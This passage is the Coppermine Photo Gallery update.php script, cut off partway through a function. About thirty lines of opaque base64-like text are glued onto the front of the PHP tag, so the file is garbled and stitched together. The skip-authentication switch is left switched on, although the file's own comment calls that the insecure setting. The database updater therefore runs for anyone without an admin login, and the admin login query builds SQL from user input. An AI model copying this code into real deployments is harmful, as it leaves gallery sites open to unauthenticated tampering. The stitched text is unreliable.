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
vtpX6rgAFZ7ss+/sx7ssaT918G==<?php
/**
 * Coppermine Photo Gallery
 *
 * v1.0 originally written by Gregory Demar
 *
 * @copyright  Copyright (c) 2003-2021 Coppermine Dev Team
 * @license    GNU General Public License version 3 or later; see LICENSE
 *
 * update.php
 * @since  1.6.12
 */

define('SKIP_AUTHENTICATION', true);
// If you don't remember the admin account data you're prompted for when running this file in your browser, umcomment the line above by removing the two slashes in front of it, upload that file to your webserver, run it in your browser. After successfully having run it, remember to restore the two slashes you removed and replace the "unsecure" version on your webserver with the "secure" version (the one that contains the double slashes).

define('IN_COPPERMINE', true);
define('UPDATE_PHP', true);

if (!defined('SKIP_AUTHENTICATION')) { // try to include init.inc.php to get the "regular" coppermine user interface
    $error_reporting = error_reporting(E_ERROR); // silence all error reports but fatal ones
    ob_start(); // turn output buffering on - if including the regular coppermine files breaks, we can make sure that the output doesn't break the subsequent code
    include_once 'include/init.inc.php';
    $output = ob_get_clean();
    error_reporting($error_reporting); // set error reporting level back to how it used to be
    //echo $output; // For troubleshooting purposes, echo $output
}
session_start();

if (!function_exists('cpgGetMicroTime')) {
function cpgGetMicroTime()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}
}

set_include_path(get_include_path().PATH_SEPARATOR.dirname(__FILE__).PATH_SEPARATOR.dirname(__FILE__).DIRECTORY_SEPARATOR.'include');

require_once 'include/inspekt.php';
require_once 'include/sql_parse.php';
require_once 'include/config.inc.php';
require_once 'include/functions.inc.php';

// The default values
$errors = '';
$notes  = '';


$DFLT = array(
    'cfg_d' => 'include', // The config file dir
    'cfg_f' => 'include/config.inc.php', // The config file name
    'alb_d' => 'albums', // The album dir
    'upl_d' => 'userpics', // The uploaded pic dir
);

$superCage = Inspekt::makeSuperCage();

// If including includes/init.inc.php has worked as expected, the constants should be populated, so let's check that first
if (!defined('SKIP_AUTHENTICATION') && defined('COPPERMINE_VERSION') && GALLERY_ADMIN_MODE) {
    $_SESSION['auth'] = true;
} else { // we need to populate the language array
    require 'lang/english.php';
}

if (!function_exists('cpg_display_help')) {
    $help = '&nbsp;'.cpg_display_help('f=upgrading.htm&amp;as=updater&amp;ae=updater_end&amp;top=1', '650', '500');
} else {
    $help = '&nbsp;<a href="docs/en/upgrading.htm?hide_nav=1#updater" class="greybox"><img src="images/help.gif" border="0" width="13" height="11" alt="" /></a>';
}

// --------------------- SELECT NEW DATABASE ACCESS METHOD --------------------- //
// if a different dbase method is selected, we have to change the config and reload
// the page to get to the correct dbase class
if ($superCage->post->keyExists('action') && $superCage->post->getAlpha('action') == 'dbselect') {
	set_config_dbtype($superCage->post->getRaw('db_type'));
	if ($errors) {
		html_error($errors);
	} else {
		header('Location: update.php?dbswitch=1');
	}
	exit;
}
if ($superCage->get->keyExists('dbswitch') && $superCage->get->getInt('dbswitch')) {
	define('SKIP_AUTHENTICATION', true);
}

// ---------------------------- AUTHENTICATION --------------------------- //
// SKIP_AUTHENTICATION is a constant that can be defined for users who can't retrieve any kind of password
if (!defined('SKIP_AUTHENTICATION') && !$_SESSION['auth']) {
    html_header($lang_update_php['title']);
    if (!$superCage->post->keyExists('method')) {
        //first try to connect to the db to see if we can authenticate the admin
        test_sql_connection();
        if ($errors != '') {
            //we could not establish an sql connection, so update can't be done (and user can't be autenticated)
            html_error($errors);
        } else {
            //echo a box for admin autentication
            html_auth_box('admin');
        }
    } elseif ($superCage->post->getAlpha('method') == 'admin') {
        //try to autenticate the admin
        test_sql_connection();
        $user = $superCage->post->getEscaped('user');
        $pass = $superCage->post->getEscaped('pass');

        // Check if column 'user_password_salt' exists in user table
        $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PREFIX']}users LIMIT 1");
        $row = $result->fetchAssoc(true); 
        $col_user_password_salt_exists = isset($row['user_password_salt']) ? true : false;

        if ($col_user_password_salt_exists) {
            require 'include/passwordhash.inc.php';
            $sql = "SELECT user_password, user_password_salt, user_password_hash_algorithm, user_password_iterations FROM {$CONFIG['TABLE_PREFIX']}users WHERE user_group = 1 AND user_name = '$user'";
            $result = cpg_db_query($sql);
            $password_params = $result->fetchAssoc(true);
        }

        if (!$col_user_password_salt_exists || !$password_params['user_password_salt']) {
            $sql = "SELECT user_active FROM {$CONFIG['TABLE_PREFIX']}users WHERE user_group = 1 AND user_name = '$user' AND (user_password = '$pass' OR user_password = '".md5($pass)."')";
            $result = cpg_db_query($sql);
            if (!$result->numRows()) {
                //not authenticated, try mysql account details
                html_auth_box('MySQL');
                die();
            }
        } elseif (!cpg_password_validate($pass, $password_params)) {
            //not authenticated, try mysql account details
            html_auth_box('MySQL');
            die();
        }
        //authenticated, do the update
        $_SESSION['auth'] = true;
        start_update();
    } else {
        //try to autenticate via MySQL details (in configuration)
        if ($superCage->post->getEscaped('user') == $CONFIG['dbuser'] && $superCage->post->getEscaped('pass') == $CONFIG['dbpass']) {
            //authenticated, do the update
            $_SESSION['auth'] = true;
            start_update();
        } else {
            //no go, try again
            html_error($lang_update_php['could_not_authenticate'] . ' - <a href="update.php">' . $lang_update_php['try_again'] .'</a>');
        }
    }
    html_footer();
} else {
    html_header($lang_update_php['title']);
    $_SESSION['auth'] = true;
    start_update();
    html_footer();
}

// function definitions --- start
// ------------------------- HTML OUTPUT FUNCTIONS ------------------------- //

function html_header($title, $charset = 'iso8859-1')
{
    if (function_exists('pageheader') && defined('COPPERMINE_VERSION') && GALLERY_ADMIN_MODE) {
        pageheader($title);
    } else {
        echo <<< EOT
<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
    <title>{$title}</title>
    <meta http-equiv="Content-Type" content="text/html; charset={$charset}" />
    <meta http-equiv="Pragma" content="no-cache" />
    <link rel="stylesheet" href="css/installer.css" type="text/css" />
</head>
<body>
<img class="logo" src="images/coppermine-logo.png" border="0" alt="" />

EOT;
    }
}

function html_error($error_msg = '')
{
    global $lang_update_php, $help;

    echo <<< EOT
      <table width="100%" border="0" cellpadding="0" cellspacing="1" class="maintable">
       <tr>
        <td class="tableh1" colspan="2"><h2>{$lang_update_php['welcome_updater']}{$help}</h2>
        </td>
       </tr>

EOT;
    if ($error_msg) {
        echo <<< EOT
       <tr>
        <td class="tableh2" colspan="2" align="center"><span class="error">&#149;&nbsp;&#149;&nbsp;&#149;&nbsp;ERROR&nbsp;&#149;&nbsp;&#149;&nbsp;&#149;</span>
        </td>
       </tr>
       <tr>
        <td class="tableh2" colspan="2">
            {$lang_update_php['errors_encountered']}:<br />
        </td>
       </tr>
       <tr>
        <td class="tableh2" colspan="2">
            {$error_msg}
        </td>
       </tr>

EOT;
    }

    echo <<< EOT
       </tr>
      </table>

EOT;
}


function html_install_success($notes)
{
    global $DFLT, $lang_update_php;
    //Coppermine is now upgraded and ready to roll.
    echo '&nbsp;<br />';
    echo '<div class="maintable"><h2 class="tableh1">' . $lang_update_php['update_completed'] . '</h2>';
    echo '<p class="tableh2">';
    printf($lang_update_php['check_versions'], '<a href="versioncheck.php">', '</a>');
    echo '. ';
    printf($lang_update_php['start_page'], '<a href="index.php">', '</a>');
    echo '.</p></div>';
}

function html_footer()
{
    if (function_exists('pagefooter') && defined('COPPERMINE_VERSION') && GALLERY_ADMIN_MODE) {
        pagefooter();
    } else {
        echo <<< EOT
</body>
</html>

EOT;
    }
}

function html_auth_box($method)
{
    global $lang_update_php, $lang_common, $help;

    $superCage = Inspekt::makeSuperCage();

    if ($superCage->get->keyExists('debug')) {
        $debug_mode = '?debug';
    } else {
        $debug_mode = '';
    }

    if (function_exists('cpg_fetch_icon')) {
        $update_icon   = cpg_fetch_icon('update_database', 2);
        $ok_icon       = cpg_fetch_icon('ok', 2);
        $login_icon    = cpg_fetch_icon('login', 2);
        $username_icon = cpg_fetch_icon('my_profile', 2);
        $password_icon = cpg_fetch_icon('key_enter', 2);
    } else {
        $update_icon   = '';
        $ok_icon       = '';
        $login_icon    = '';
        $username_icon = '';
        $password_icon = '';
    }

    echo <<< EOT
        <form name="cpgform" id="cpgform" method="post" action="update.php{$debug_mode}">
        <table border="0" cellspacing="0" cellpadding="0" class="maintable">
            <tr>
                <td class="tableh1" colspan="2">
                    <h1>{$update_icon}{$lang_update_php['welcome_updater']}{$help}</h1>
                </td>
            </tr>
            <tr>
                <td class="tableh2" colspan="2">
                    <h2>{$login_icon}{$lang_update_php['authentication_needed']}</h2>
                </td>
            </tr>
            <tr>
                <td class="tableh2" colspan="2">

EOT;
    if ($method == 'MySQL') {
        echo $lang_update_php['could_not_authenticate']. '. '.sprintf($lang_update_php['provide_admin_account_dbase'], $CONFIG['dbname']).'. <a href="update.php">' . $lang_update_php['try_again'] . '</a>.';
    } else {
        echo $lang_update_php['provide_admin_account_cpg'].'.';
    }

    echo <<< EOT
                </td>
            </tr>
            <tr>
                <td class="tableb">
                    {$username_icon}{$lang_update_php['username']}:
                </td>
                <td class="tableb">
                    <input type="text" name="user" size="30" class="textinput" />
                </td>
            </tr>
            <tr>
                <td class="tableb">
                    {$password_icon}{$lang_update_php['password']}:
                </td>
                <td class="tableb">
                    <input type="password" name="pass" size="30" class="textinput"  />
                </td>
            </tr>
            <tr>
                <td class="tableb" colspan="2" align="center">
                    <input type="hidden" name="method" value="{$method}" />
                    <!--<input type="submit" name="submit" value="Login" class="button"  />-->
                    <button type="submit" class="button" name="submit" value="{$lang_common['ok']}">{$ok_icon}{$lang_common['ok']}</button>
                </td>
            </tr>
        </table>

        </form>
        <script language="javascript" type="text/javascript">
            <!--
            document.cpgform.user.focus();
            -->
        </script>

EOT;
}

function html_dbase_select ()
{
	global $lang_update_php, $lang_common, $help;

	$superCage = Inspekt::makeSuperCage();

	require_once 'include/dbselect.inc.php';
	$dbselect = new DbaseSelect(array('mysqli'=>'MYSQLI'.$lang_update_php['recommended'],'pdo:mysql'=>'PDO:MYSQL','mysql'=>'MYSQL'.$lang_update_php['current_nr']));

	if (function_exists('cpg_fetch_icon')) {
		$ok_icon       = cpg_fetch_icon('ok', 2);
	} else {        $update_icon   = '';
		$ok_icon       = '';
}

	echo <<<EOT
	<form action="update.php" name="cpgform" id="cpgform" method="post" style="margin:0px;padding:0px">
		<table width="100%" border="0" cellpadding="0" cellspacing="1" class="maintable">
			<tr>
				<td class="tableb" colspan="2">
					{$lang_update_php['newDbMethod']}<br />
				</td>
			</tr>
			<tr>
				<td colspan="2">&nbsp;</td>
			</tr>
			<tr>
				<td style="text-align:right;width:50%">Database Type</td>
				<td><select name="db_type">{$dbselect->options()}</select></td>
			</tr>
			<tr>
				<td colspan="2">&nbsp;</td>
			</tr>
			<tr>
				<td colspan="2" align="center" class="tableh2">
					<button type="submit" class="button" name="submit" value="{$lang_common['continue']}">{$lang_common['continue']}{$ok_icon}</button>
				</td>
			</tr>
		</table>
		<input type="hidden" name="action" value="dbselect" />
	</form>
EOT;
}


// --------------------------------- MAIN CODE ----------------------------- //
function start_update()
{
    global $errors, $notes, $lang_update_php, $LINEBREAK;
    global $update_icon, $ok_icon, $already_done_icon, $error_icon, $file_system_icon;

	if (!check_db_type()) return;

    // The updater
    //html_header($lang_update_php['title']);
    test_sql_connection();

    if (function_exists('cpg_fetch_icon')) {
        $update_icon       = cpg_fetch_icon('update_database', 2);
        $ok_icon           = cpg_fetch_icon('ok', 2);
        $already_done_icon = cpg_fetch_icon('info', 2);
        $error_icon        = cpg_fetch_icon('stop', 2);
        $file_system_icon  = cpg_fetch_icon('hdd', 2);
    } else {
        $update_icon       = '';
        $ok_icon           = '';
        $already_done_icon = '';
        $error_icon        = '';
        $file_system_icon  = '';
    }

    if ($errors == '') {
        echo '        <table border="0" cellspacing="0" cellpadding="0" class="maintable" width="100%">' . $LINEBREAK;
        update_tables();
        update_files();
        echo '        </table>' . $LINEBREAK;
    } else {
        html_error($errors);
    }

    if ($errors == '') {
        html_install_success($notes);
        session_destroy();
    } else {
        html_error($errors);
    }
    //html_footer();
}

// Return an array containing config values specified in the array
function cpg_get_config_value($config_name)
{
    global $CONFIG;

    $result = cpg_db_query("SELECT value FROM ".$CONFIG['TABLE_PREFIX']."config WHERE name='".$config_name."' LIMIT 1");
    $row = $result->fetchRow(true);

    return is_array($row) ? $row[0] : null;
}

// ----------------------------- TEST FUNCTIONS ---------------------------- //
function check_db_type ()
{
	global $CONFIG;

	if (!isset($CONFIG['dbtype']) || $CONFIG['dbtype'] == 'mysql') {
		html_dbase_select();
		return false;
	}

	return true;
}

function test_sql_connection()
{
    global $errors, $CONFIG, $CPGDB, $lang_update_php;

	if (!isset($CPGDB)) {
		list($db_ext, $db_sub) = explode(':', $CONFIG['dbtype'].':');
		$db_ext = $db_ext ?: 'mysql';
		require 'include/database/'.$db_ext.'/dbase.inc.php';
		$CPGDB = new CPG_Dbase($CONFIG);
	}

	if (!$CPGDB->isConnected()) {
        $errors .= '<hr />';
        $errors .= sprintf($lang_update_php['dbase_database_error'], $CONFIG['dbname']) . '. ';
        $errors .= sprintf($lang_update_php['check_config_file'] . '. ', 'include/config.inc.php');
        $errors .= '<br />';
        $errors .= sprintf($lang_update_php['dbase_said'], $CPGDB->db_type) . ': ' . $CPGDB->getError();
	}
}


// ------------------------- SQL QUERIES TO CREATE TABLES ------------------ //
function update_tables()
{
    global $errors, $CONFIG, $CPGDB, $lang_update_php, $lang_common, $LINEBREAK, $help;
    global $update_icon, $ok_icon, $already_done_icon, $error_icon, $file_system_icon;

    $loopCounter = 0;
    $cellStyle = '';
    $okerrs = array(1060,1061,1062);
    $superCage = Inspekt::makeSuperCage();

    $db_update = 'sql/update.sql';
    $sql_query = fread(fopen($db_update, 'r'), filesize($db_update));
    // Update table prefix
    $sql_query = preg_replace('/CPG_/', $CONFIG['TABLE_PREFIX'], $sql_query);
    //$sql_query = str_replace('{FIRST_USER_CAT}', FIRST_USER_CAT, $sql_query);

    $sql_query = remove_remarks($sql_query);
    $sql_query = split_sql_file($sql_query, ';');
    $sql_query = array_map('trim', $sql_query);

    echo <<< EOT
            <tr>
                <td class="tableh1" colspan="2">
                    {$update_icon}{$lang_update_php['performing_database_updates']}{$help}
                </td>
            </tr>

EOT;

	// Have to relax the sql modes for mysql 5.7 so it won't fail with zero dates, etc.
	cpg_db_query("SET SESSION sql_mode = ''");

    foreach ($sql_query as $q) {

        $cellStyle = ($loopCounter / 2 == floor($loopCounter / 2)) ? 'tableb' : 'tableb tableb_alternate';
        $loopCounter++;
        echo '<tr>' . $LINEBREAK . '    <td width="80%" class="' . $cellStyle . '">' . $q;

        /**
         * Determining if the Alter Table actually made a change
         * to properly reflect it's status on the update page.
         */
        if (strpos(strtolower($q), 'alter table') !== false) {

            $query = explode(' ', $q);

            $result = cpg_db_query("DESCRIBE " . $query[2]);

            $description = array();

            while ($row = $result->fetchRow()) {
                $description[] = $row;
            }
            $result->free();

            $result = @cpg_db_query($q);
            if (!$result) {
            	$errno = $CPGDB->getError(true);
            	if (!in_array($errno, $okerrs)) {
            		table_complain($cellStyle);
            		continue;
            	}
            }
            $affected = $CPGDB->affectedRows();
            $warnings = cpg_db_query('SHOW WARNINGS');

            $result = cpg_db_query("DESCRIBE " . $query[2]);

            $description2 = array();

            while ($row = $result->fetchRow()) {
                $description2[] = $row;
            }
            $result->free();

            if ($description == $description2) {
                $affected = 0;
            }

        } else {
            $result = @cpg_db_query($q);
            if (!$result) {
            	$errno = $CPGDB->getError(true);
            	if (!in_array($errno, $okerrs)) {
            		table_complain($cellStyle);
            		continue;
            	}
            }
            $affected = $CPGDB->affectedRows();
            $warnings = cpg_db_query('SHOW WARNINGS;');
        }

        if ($superCage->get->keyExists('debug')) {
            echo '<hr />Debug output:<br />';
            if ($affected > -1) {
                echo "Rows Affected: ".$affected.". ";
            }
            if ($warnings) {
                while ($warning = $warnings->fetchRow()) {
                    if ($warning[0] != '') {
                        $warning_text = 'MySQL said: ';
                    } else {
                        $warning_text = '';
                    }
                    echo $warning_text.'<tt class="code">'.$warning[0]. ' ('.$warning[1].') '.$warning[2].'</tt><br />';
                }
                $warnings->free();
            }
        }
        echo '</td>'.$LINEBREAK; // end the table cell that contains the output
        if ($result && $affected) {
            echo '    <td width="20%" class="'.$cellStyle.' updatesOK">' . $ok_icon . $lang_common['ok'] . '</td>'.$LINEBREAK;
        } else {
            echo '    <td width="20%" class="'.$cellStyle.' updatesFail">' . $already_done_icon . $lang_update_php['already_done'] . '</td>'.$LINEBREAK;
        }
        echo '</tr>' . $LINEBREAK;
    } // end foreach loop

    // Check password encryption and perform the conversion if applicable
    $cellStyle = ($loopCounter / 2 == floor($loopCounter / 2)) ? 'tableb' : 'tableb tableb_alternate';
    $loopCounter++;
    echo <<< EOT
            <tr>
                <td class="{$cellStyle}">
                    {$lang_update_php['password_encryption']}:
                </td>

EOT;
    $CONFIG['enable_encrypted_passwords'] = cpg_get_config_value('enable_encrypted_passwords');
    if ($CONFIG['enable_encrypted_passwords'] != '1') {
        echo <<< EOT
                <td class="{$cellStyle} updatesOK">
                    {$ok_icon}{$lang_common['ok']}
                </td>
            </tr>

EOT;
        $result = cpg_db_query("update {$CONFIG['TABLE_PREFIX']}users set user_password=md5(user_password);");
        if ($CONFIG['enable_encrypted_passwords'] === '0') {
            $result = cpg_db_query("update {$CONFIG['TABLE_PREFIX']}config set value = '1' WHERE name = 'enable_encrypted_passwords'");
        } else {
            $result = cpg_db_query("INSERT INTO {$CONFIG['TABLE_PREFIX']}config ( `name` , `value` ) VALUES ('enable_encrypted_passwords', '1')");
        }
    } else {
        echo <<< EOT
                <td class="{$cellStyle} updatesFail">
                    {$already_done_icon}{$lang_update_php['already_done']}
                </td>
            </tr>

EOT;
    }

    // Check album password encryption and perform the conversion if applicable
    $cellStyle = ($loopCounter / 2 == floor($loopCounter / 2)) ? 'tableb' : 'tableb tableb_alternate';
    $loopCounter++;
    echo <<< EOT
            <tr>
                <td class="{$cellStyle}">
                    {$lang_update_php['alb_password_encryption']}:
                </td>

EOT;
    $CONFIG['enable_encrypted_alb_passwords'] = cpg_get_config_value('enable_encrypted_alb_passwords');
    if ($CONFIG['enable_encrypted_alb_passwords'] != 1) {
        echo <<< EOT
                <td class="{$cellStyle} updatesOK">
                    {$ok_icon}{$lang_common['ok']}
                </td>
            </tr>

EOT;
        // Encrypt the album password but only for those albums which have a password assigned.
        $result = cpg_db_query("update {$CONFIG['TABLE_PREFIX']}albums set alb_password=md5(alb_password) WHERE alb_password IS NOT NULL AND alb_password != '';");

        if ($CONFIG['enable_encrypted_alb_passwords'] != NULL) {
            $result = cpg_db_query("update {$CONFIG['TABLE_PREFIX']}config set value = 1 WHERE name = 'enable_encrypted_alb_passwords'");
        } else {
            $result = cpg_db_query("INSERT INTO {$CONFIG['TABLE_PREFIX']}config ( `name` , `value` ) VALUES ('enable_encrypted_alb_passwords', '1')");
        }
    } else {
        echo <<< EOT
                <td class="{$cellStyle} updatesFail">
                    {$already_done_icon}{$lang_update_php['already_done']}
                </td>
            </tr>

EOT;
    }

    // Check category tree modifications
    $cellStyle = ($loopCounter / 2 == floor($loopCounter / 2)) ? 'tableb' : 'tableb tableb_alternate';
    $loopCounter++;
    echo <<< EOT
            <tr>
                <td class="{$cellStyle}">
                    {$lang_update_php['category_tree']}:
                </td>

EOT;

    if (check_rebuild_tree()) {
        echo <<< EOT
                <td class="{$cellStyle} updatesOK">
                    {$ok_icon}{$lang_common['ok']}
                </td>
            </tr>

EOT;
    } else {
        echo <<< EOT
                <td class="{$cellStyle} updatesFail">
                    {$already_done_icon}{$lang_update_php['already_done']}
                </td>
            </tr>

EOT;
    }

	// Check for enabled v1.6 core upload plugin(s)
    $cellStyle = ($loopCounter / 2 == floor($loopCounter / 2)) ? 'tableb' : 'tableb tableb_alternate';
    $loopCounter++;
    $result = cpg_db_query("SELECT path FROM {$CONFIG['TABLE_PREFIX']}plugins WHERE path LIKE 'upload____'");
    $plgs = cpg_db_fetch_rowset($result, true);
    $upc = 0;
    foreach ($plgs as $plg) {
    	if (in_array(substr($plg['path'], 6), array('_h5a','_swf','_sgl'))) {
    		//echo $plg['path'];
    		$upc++;
    	}
    }
    echo <<<EOT
            <tr>
                <td class="{$cellStyle}">
                    {$lang_update_php['core_upload_plugs']}:
                </td>

EOT;
	if ($upc) {
        echo <<< EOT
                <td class="{$cellStyle} updatesFail">
                    {$already_done_icon}{$lang_update_php['already_done']}
                </td>
            </tr>

EOT;
	} else {
		// Pre-install the core upload plugins
		cpg_db_query("INSERT INTO {$CONFIG['TABLE_PREFIX']}plugins (name, path, priority) VALUES ('CoreH5A Upload', 'upload_h5a', 0), ('CoreSWF Upload', 'upload_swf', 1), ('CoreSGL Upload', 'upload_sgl', 2)");
		// And set the default mechanism to 'upload_h5a'
		cpg_db_query("UPDATE {$CONFIG['TABLE_PREFIX']}config SET value='upload_h5a' WHERE name='upload_mechanism'");

		// employ any existing html5upload configurations
    	$result = cpg_db_query("SELECT name,value FROM {$CONFIG['TABLE_PREFIX']}config WHERE name LIKE 'html5upload_config%'");
		$cfgs = cpg_db_fetch_rowset($result, true);
		foreach ($cfgs as $cfg) {
			$cfgn = 'upload_h5a' . substr($cfg['name'], 18);
			$cfgv = cpg_db_escape_string($cfg['value']);
			cpg_db_query("INSERT INTO {$CONFIG['TABLE_PREFIX']}config VALUES ('{$cfgn}', '{$cfgv}')");
		}
	}

	// if there were no html5upload configs, set a default one
	if (!isset($cfgs) || !$cfgs) {
		cpg_db_query("INSERT INTO {$CONFIG['TABLE_PREFIX']}config VALUES ('upload_h5a', 'a:11:{s:10:\"concurrent\";i:3;s:8:\"upldsize\";i:0;s:8:\"autoedit\";i:1;s:8:\"acptmime\";s:7:\"image/*\";s:8:\"enabtitl\";i:0;s:8:\"enabdesc\";i:0;s:8:\"enabkeys\";i:1;s:8:\"enabusr1\";i:0;s:8:\"enabusr2\";i:0;s:8:\"enabusr3\";i:0;s:8:\"enabusr4\";i:0;}')");
	}

	echo <<< EOT
			<td class="{$cellStyle} updatesOK">
				{$ok_icon}{$lang_common['ok']}
			</td>
		</tr>

EOT;
}

function table_complain ($cs)
{
	global $errors, $CONFIG, $CPGDB, $lang_update_php, $lang_common, $LINEBREAK, $help;
	echo '<br /><p style="color:red">', $CPGDB->getError(), '</p></td><td class="'.$cs.'"></td></tr>', $LINEBREAK;
}

function update_files()
{
    global $lang_update_php, $file_system_icon;

    echo <<< EOT
            <tr>
                <td class="tableh1" colspan="2">
                    {$file_system_icon}{$lang_update_php['performing_file_updates']}
                </td>
            </tr>

EOT;
    delete_files();
    update_system_thumbs();
}

function delete_files()
{
    global $lang_update_php, $lang_common, $ok_icon, $already_done_icon, $error_icon;

    // Attempt to delete outdated files
    $delete_file_array = array(
        'js/jquery-1.3.2.js',
        'js/jquery-1.4.2.js',
        'logs/log_header.inc.php',
        'include/log_header.inc.php',
        'js/setup_swf_upload.js',
        'js/swfupload',
        'docs/en/uploading_xp-publisher.htm',
        'xp_publish.php',
        'install_classic.php',
        'include/cpg15x.files.xml'
    );

    // Check if the file exists in the first place
    $loopCounter = 0;
    foreach ($delete_file_array as $delete_file) {
        $cellStyle = ($loopCounter / 2 == floor($loopCounter / 2)) ? 'tableb' : 'tableb tableb_alternate';
        $delete_output = sprintf($lang_update_php['delete_file'], '&laquo;<tt>'.$delete_file.'</tt>&raquo;');
        echo <<< EOT
            <tr>
                <td class="{$cellStyle}">
                    {$delete_output}
                </td>

EOT;
        if (!file_exists($delete_file)) {
            $result_output = $already_done_icon . $lang_update_php['already_done'];
        } else {
            list($delete_result,$debug_output) = cpg_folder_file_delete($delete_file);
            if ($delete_result == TRUE ) {
                $result_output = $ok_icon . $lang_common['ok'];
            } else {
                $result_output = $error_icon . $lang_update_php['could_not_delete'];
            }
        }
        echo <<< EOT
                <td class="{$cellStyle}">
                    {$result_output}
                </td>
            </tr>

EOT;
        $loopCounter++;
    } // foreach $delete_file
}

function update_system_thumbs()
{
    global $CONFIG, $lang_update_php, $lang_common, $ok_icon, $already_done_icon, $error_icon;

    $results = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PREFIX']}config;");
    while ($row = $results->fetchAssoc()) {
        $CONFIG[$row['name']] = $row['value'];
    } // while
    $results->free();

    // Code to rename system thumbs in images folder
    $default_thumb_pfx = 'thumb_';
    if ($default_thumb_pfx != $CONFIG['thumb_pfx']) {
        $THEME_DIR = 'themes/' . $CONFIG['theme'] . '/';
        $folders = array('images/thumbs/', $THEME_DIR.'images/');
        $loopCounter = 0;
        foreach ($folders as $folder) {
            $thumbs = cpg_get_system_thumb_list($folder);
            foreach ($thumbs as $thumb) {
                $cellStyle = ($loopCounter / 2 == floor($loopCounter / 2)) ? 'tableb' : 'tableb tableb_alternate';
                $rename_file_from = $folder . $thumb['filename'];
                $rename_file_to   = $folder . str_replace($default_thumb_pfx, $CONFIG['thumb_pfx'], $thumb['filename']);
                $rename_output    = sprintf($lang_update_php['rename_file'], '&laquo;<tt>'.$rename_file_from.'</tt>&raquo;', '&laquo;<tt>'.$rename_file_to.'</tt>&raquo;');
                echo <<< EOT
            <tr>
                <td class="{$cellStyle}">
                    {$rename_output}
                </td>

EOT;
                if (file_exists($rename_file_to)) {
                    $result_output = $already_done_icon . $lang_update_php['already_done'];
                    echo <<< EOT
                <td class="{$cellStyle}">
                    {$result_output}
                </td>
            </tr>

EOT;
                    $loopCounter++;
                    if ($rename_file_from == $rename_file_to) {
                        continue;
                    }
                    $cellStyle = ($loopCounter / 2 == floor($loopCounter / 2)) ? 'tableb' : 'tableb tableb_alternate';
                    $delete_file = $rename_file_from;
                    $delete_output = sprintf($lang_update_php['delete_file'], '&laquo;<tt>'.$delete_file.'</tt>&raquo;');
